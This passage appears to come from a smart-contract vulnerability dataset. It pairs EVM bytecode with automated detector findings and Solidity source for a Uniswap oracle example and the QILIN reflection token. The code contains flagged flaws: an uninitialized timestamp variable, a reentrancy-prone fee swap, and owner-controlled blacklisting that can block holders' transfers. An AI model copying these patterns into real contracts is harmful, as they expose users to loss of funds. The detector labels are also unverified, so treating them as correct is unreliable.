8083038185885af1158015610a0e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3391906119d9565b5050600e80546801158e460913d00000600f556801e5b8fa8fe2ac000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104689190611a07565b6001600160a01b038316610b445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f7565b6001600160a01b038216610ba55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f7565b6001600160a01b038216610ccc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f7565b60008111610d2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f7565b6000600a556009600b55610d4a6000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610d7957506000546001600160a01b03838116911614155b15611000576001600160a01b03831660009081526006602052604090205460ff16158015610dc057506001600160a01b03821660009081526006602052604090205460ff16155b610dc957600080fd5b600e546001600160a01b038481169116148015610df45750600d546001600160a01b03838116911614155b8015610e1957506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2e5750600e54600160b81b900460ff165b15610f3357600f54811115610e855760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f7565b60105481610e92846105f0565b610e9c9190611a24565b1115610eea5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f7565b6001600160a01b0382166000908152600760205260409020544211610f0e57600080fd5b610f1942601e611a24565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f5e5750600d546001600160a01b03848116911614155b8015610f8357506001600160a01b03831660009081526005602052604090205460ff16155b15610f93576000600a556009600b555b6000610f9e306105f0565b600e54909150600160a81b900460ff16158015610fc95750600e546001600160a01b03858116911614155b8015610fde5750600e54600160b01b900460ff165b15610ffe57610fec816111cc565b478015610ffc57610ffc47611115565b505b505b61100b838383611346565b505050565b600081848411156110345760405162461bcd60e51b81526004016103f791906116e6565b5060006110418486611a3c565b95945050505050565b60008260000361105c575060006103c7565b60006110688385611a53565b9050826110758583611a72565b146110cc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f7565b9392505050565b60006110cc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611351565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610468573d6000803e3d6000fd5b60006008548211156111b65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f7565b60006111c061137f565b90506110cc83826110d3565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121457611214611977565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561126d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129191906119bc565b816001815181106112a4576112a4611977565b6001600160a01b039283166020918202929092010152600d546112ca9130911684610ae2565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611303908590600090869030904290600401611a94565b600060405180830381600087803b15801561131d57600080fd5b505af1158015611331573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61100b8383836113a2565b600081836113725760405162461bcd60e51b81526004016103f791906116e6565b5060006110418486611a72565b600080600061138c611499565b909250905061139b82826110d3565b9250505090565b6000806000806000806113b4876114db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113e69087611538565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611415908661157a565b6001600160a01b038916600090815260026020526040902055611437816115d9565b6114418483611623565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148691815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006114b582826110d3565b8210156114d257505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114f88a600a54600b54611647565b925092509250600061150861137f565b9050600080600061151b8e878787611696565b919e509c509a509598509396509194505050505091939550919395565b60006110cc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611010565b6000806115878385611a24565b9050838110156110cc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f7565b60006115e361137f565b905060006115f1838361104a565b3060009081526002602052604090205490915061160e908261157a565b30600090815260026020526040902055505050565b6008546116309083611538565b600855600954611640908261157a565b6009555050565b600080808061165b60646105b7898961104a565b9050600061166e60646105b78a8961104a565b90506000611686826116808b86611538565b90611538565b9992985090965090945050505050565b60008080806116a5888661104a565b905060006116b3888761104a565b905060006116c1888861104a565b905060006116d3826116808686611538565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611713578581018301518582016040015282016116f7565b81811115611725576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105ed57600080fd5b803561175b8161173b565b919050565b6000806040838503121561177357600080fd5b823561177e8161173b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117b557600080fd5b823567ffffffffffffffff808211156117cd57600080fd5b818501915085601f8301126117e157600080fd5b8135818111156117f3576117f361178c565b8060051b604051601f19603f830116810181811085821117156118185761181861178c565b60405291825284820192508381018501918883111561183657600080fd5b938501935b8285101561185b5761184c85611750565b8452938501939285019261183b565b98975050505050505050565b60008060006060848603121561187c57600080fd5b83356118878161173b565b925060208401356118978161173b565b929592945050506040919091013590565b6000602082840312156118ba57600080fd5b81356110cc8161173b565b80151581146105ed57600080fd5b6000602082840312156118e557600080fd5b81356110cc816118c5565b60006020828403121561190257600080fd5b5035919050565b6000806040838503121561191c57600080fd5b82356119278161173b565b915060208301356119378161173b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119b5576119b561198d565b5060010190565b6000602082840312156119ce57600080fd5b81516110cc8161173b565b6000806000606084860312156119ee57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a1957600080fd5b81516110cc816118c5565b60008219821115611a3757611a3761198d565b500190565b600082821015611a4e57611a4e61198d565b500390565b6000816000190483118215151615611a6d57611a6d61198d565b500290565b600082611a8f57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ae45784516001600160a01b031683529383019391830191600101611abf565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220531e2fabfaddc1bb39c516b85b9ed667a5788dc2a2b366b625a544b44bc9e19864736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,270 |
0xf857520d0db56853cf3eda0c6103c4d60be90b70
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.6.6;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
// note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period
contract ExampleOracleSimple {
using FixedPoint for *;
uint public constant PERIOD = 5 minutes;
address public factory;
constructor(address _factory) public {
factory = _factory;
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(uint amountIn, address tokenA, address tokenB) external view returns (uint amountOut) {
uint price0CumulativeLast;
uint32 blockTimestampLast;
FixedPoint.uq112x112 memory price0Average;
IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB));
price0CumulativeLast = _pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, 'ExampleOracleSimple: PERIOD_NOT_ELAPSED');
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
amountOut = price0Average.mul(amountIn).decode144();
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806365c8f8d814610046578063b4d1d7951461008c578063c45a015514610094575b600080fd5b61007a6004803603606081101561005c57600080fd5b508035906001600160a01b03602082013581169160400135166100b8565b60408051918252519081900360200190f35b61007a610204565b61009c61020a565b604080516001600160a01b039092168252519081900360200190f35b60008060006100c56106c5565b600080546100dd906001600160a01b03168888610219565b9050806001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561011857600080fd5b505afa15801561012c573d6000803e3d6000fd5b505050506040513d602081101561014257600080fd5b5051935060008080610153846102d9565b9194509250905085810361012c63ffffffff821610156101a45760405162461bcd60e51b81526004018080602001828103825260278152602001806107106027913960400191505060405180910390fd5b60405180602001604052808263ffffffff168a8703816101c057fe5b046001600160e01b0316905295506101e06101db878e6104a8565b610526565b71ffffffffffffffffffffffffffffffffffff169c9b505050505050505050505050565b61012c81565b6000546001600160a01b031681565b6000806000610228858561052d565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60008060006102e661060b565b9050836001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561032157600080fd5b505afa158015610335573d6000803e3d6000fd5b505050506040513d602081101561034b57600080fd5b505160408051635a3d549360e01b815290519194506001600160a01b03861691635a3d549391600480820192602092909190829003018186803b15801561039157600080fd5b505afa1580156103a5573d6000803e3d6000fd5b505050506040513d60208110156103bb57600080fd5b505160408051630240bc6b60e21b81529051919350600091829182916001600160a01b03891691630902f1ac916004808301926060929190829003018186803b15801561040757600080fd5b505afa15801561041b573d6000803e3d6000fd5b505050506040513d606081101561043157600080fd5b5080516020820151604090920151909450909250905063ffffffff8082169085161461049e5780840363ffffffff811661046b8486610615565b516001600160e01b031602969096019563ffffffff811661048c8585610615565b516001600160e01b0316029590950194505b5050509193909250565b6104b06106d7565b60008215806104d657505082516001600160e01b0316828102908382816104d357fe5b04145b6105115760405162461bcd60e51b81526004018080602001828103825260238152602001806107376023913960400191505060405180910390fd5b60408051602081019091529081529392505050565b5160701c90565b600080826001600160a01b0316846001600160a01b031614156105815760405162461bcd60e51b81526004018080602001828103825260258152602001806106eb6025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b0316106105a15782846105a4565b83835b90925090506001600160a01b038216610604576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b63ffffffff421690565b61061d6106c5565b6000826001600160701b03161161067b576040805162461bcd60e51b815260206004820152601760248201527f4669786564506f696e743a204449565f42595f5a45524f000000000000000000604482015290519081900360640190fd5b6040805160208101909152806001600160701b0384166dffffffffffffffffffffffffffff60701b607087901b16816106b057fe5b046001600160e01b0316815250905092915050565b60408051602081019091526000815290565b604051806020016040528060008152509056fe556e697377617056324c6962726172793a204944454e544943414c5f4144445245535345534578616d706c654f7261636c6553696d706c653a20504552494f445f4e4f545f454c41505345444669786564506f696e743a204d554c5449504c49434154494f4e5f4f564552464c4f57a26469706673582212208e00721090bab5955ebca5a31790266afcfcea4f9ed3a52cf17b6b233a627b0664736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,271 |
0x20e4eb9bf6de86e188b1eb2b437808b5cadabeda
|
/**
*Submitted for verification at Etherscan.io on 2021-10-28
*/
/**
// SPDX-License-Identifier: Unlicensed
**/
/*
Ethereum Qilin (ERC20 TOKEN)
Telegram: https://t.me/qilintoken
Website: https://qilintoken.io/
Twitter: https://twitter.com/Qilintoken
Total Supply -> 1,000,000
Redistribution -> 2%
LP Fee -> 12% (6% Developer, 6% sent back to liquidity pool)
Burn -> 0% (useless to burn tokens beforehand if they don't represent actual liquidity value)
(This means 50% of the LP fee will work in the holders advantage, sending money back into the liquidity pool)
Automated buy control (below for more information)
Basic MaxTX of 2%
Between 10th and 25th buy -> 3%
Between 25th and 50th buy -> 4%
Between 50th and 60th buy -> 5%
60th+ -> Unlimited
/
__ //
-\= \=\ //
--=_\=---//=--
-_==/ \/ //\/--
==/ /O O\==--
_ _ _ _ /_/ \ ] /--
/\ ( (- \ / ] ] ]==-
(\ _\_\_\-\__/ \ (,_,)--
(\_/ \ \-
\/ / ( ( \ ] /)
/ ( \ \_ \./ )
( \ \ ) \
( /\_ _ _ _ /---/ /\_ \
\ / \ / ____/ / \ \
( / ) / / /__ ) ( )
( ) / __/ '---` / /
\ / \ \ _/ /
] ] )_\_ /__\/
/_\ ]___\
(___)
*/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function approve(address to, uint value) external returns (bool);
}
contract QILIN is Context, IERC20, Ownable {
string private constant _name = unicode"QILIN";
string private constant _symbol = "QILIN";
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
IUniswapV2Router02 private uniswapV2Router;
address[] private _excluded;
address private c;
address private wallet1;
address private wallet2;
address private uniswapV2Pair;
address private WETH;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _LiquidityFee;
uint64 private buyCounter;
uint8 private constant _decimals = 9;
uint16 private maxTx;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable _wallet1, address payable _wallet2) {
c = address(this);
wallet1 = _wallet1;
wallet2 = _wallet2;
_rOwned[c] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[c] = true;
_isExcludedFromFee[wallet1] = true;
_isExcludedFromFee[wallet2] = true;
excludeFromReward(owner());
excludeFromReward(c);
excludeFromReward(wallet1);
excludeFromReward(wallet2);
emit Transfer(address(0),c,_tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount);
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function nofees() private {
_taxFee = 0;
_LiquidityFee = 0;
}
function basefees() private {
_taxFee = 2;
_LiquidityFee = 12;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
basefees();
if (from != owner() && to != owner() && tradingOpen) {
if (!inSwap) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) {
if (buyCounter < 100)
require(amount <= _tTotal * maxTx / 1000);
if (buyCounter % 50 == 0 && buyCounter != 0)
nofees();
buyCounter++;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) {
if (swapEnabled) {
uint256 contractTokenBalance = balanceOf(c);
if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) {
swapAndLiquify(contractTokenBalance);
}
}
}
if (!inSwap) {
if (buyCounter == 10)
maxTx = 30; //3%
if (buyCounter == 25)
maxTx = 40; //4%
if (buyCounter == 50)
maxTx = 50; //5%
if (buyCounter == 60) {
maxTx = 1000; //100%
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 balance = c.balance / 2;
sendETHToFee(balance);
IWETH(WETH).deposit{value: balance}();
